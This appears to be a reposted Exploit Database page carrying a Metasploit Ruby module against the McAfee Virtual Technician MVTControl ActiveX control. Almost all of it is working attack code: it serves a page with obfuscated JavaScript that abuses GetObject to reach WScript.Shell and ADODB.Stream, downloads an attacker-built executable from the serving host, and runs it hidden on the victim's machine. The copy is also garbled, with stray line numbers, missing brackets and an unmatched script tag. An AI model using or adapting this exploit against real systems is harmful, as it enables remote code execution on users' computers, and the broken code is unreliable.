McAfee Virtual Technician MVTControl 6.3.0.1911 – GetObject (Metasploit)

Exploit Database
141 阅读

作者： Metasploit

日期： 2012-05-01
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/18812/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::EXE

def initialize(info={})

super(update_info(info,

'Name' => "McAfee Virtual Technician MVTControl 6.3.0.1911 GetObject Vulnerability",

'Description'=> %q{

This modules exploits a vulnerability found in McAfee Virtual Technician's

MVTControl.This ActiveX control can be abused by using the GetObject() function

to load additional unsafe classes such as WScript.Shell, therefore allowing remote

code execution under the context of the user.

'License'=> MSF_LICENSE,

'Author' =>

[

'rgod', #Initial discovery, Poc

'sinn3r'#Metasploit

'References' =>

[

[ 'EDB', '18805' ]

'Payload'=>

{

'BadChars'=> "\x00",

'DefaultOptions'=>

{

'ExitFunction' => "none",

'InitialAutoRunScript' => 'migrate -f'

'Platform' => 'win',

'Targets'=>

[

[ 'Automatic', {} ]

'Privileged' => false,

'DisclosureDate' => "Apr 30 2012",

'DefaultTarget'=> 0))

end

def exploit

@payload_name = rand_text_alpha(rand(6) + 5) + ".exe"

super

end

def on_request_uri(cli, request)

agent = request.headers['User-Agent']

if agent !~ /MSIE \d/

print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")

send_not_found(cli)

return

end

if request.uri =~ /\.exe$/

return if ((p=regenerate_payload(cli))==nil)

data = generate_payload_exe({:code=>p.encoded})

print_status("Sending payload")

send_response(cli, data, {'Content-Type'=>'application/octet-stream'})

return

end

# <object classid='clsid:2EBE1406-BE0E-44E6-AE10-247A0C5AEDCF' id='obj'></object>

js = <<-JS

var obj = new ActiveXObject("MVT.MVTControl.6300");

var ws= obj.GetObject("WScript.Shell");

var ado = obj.GetObject("ADODB.Stream");

var e = ws.Environment("Process");

var url = document.location + "/#{@payload_name}";

var tmp = e.Item("TEMP") + "\\\\#{@payload_name}";

var xml = new ActiveXObject("Microsoft.XMLHTTP");

xml.open("GET", url, false);

xml.send(null);

res = xml.responseBody;

ado.Type = 1;

ado.Mode = 3;

ado.Open();

ado.Write(res);

ado.SaveToFile(tmp);

ws.Run(tmp, 0);

js = ::Rex::Exploitation::JSObfu.new(js)

js.obfuscate

html = <<-EOS

<html>

<head>

</head>

<body>

#{js}

</script>

</body>

</html>

EOS

print_status("#{cli.peerhost}:#{cli.peerport} - Sending html")

send_response(cli, html, {'Content-Type'=>'text/html'})

end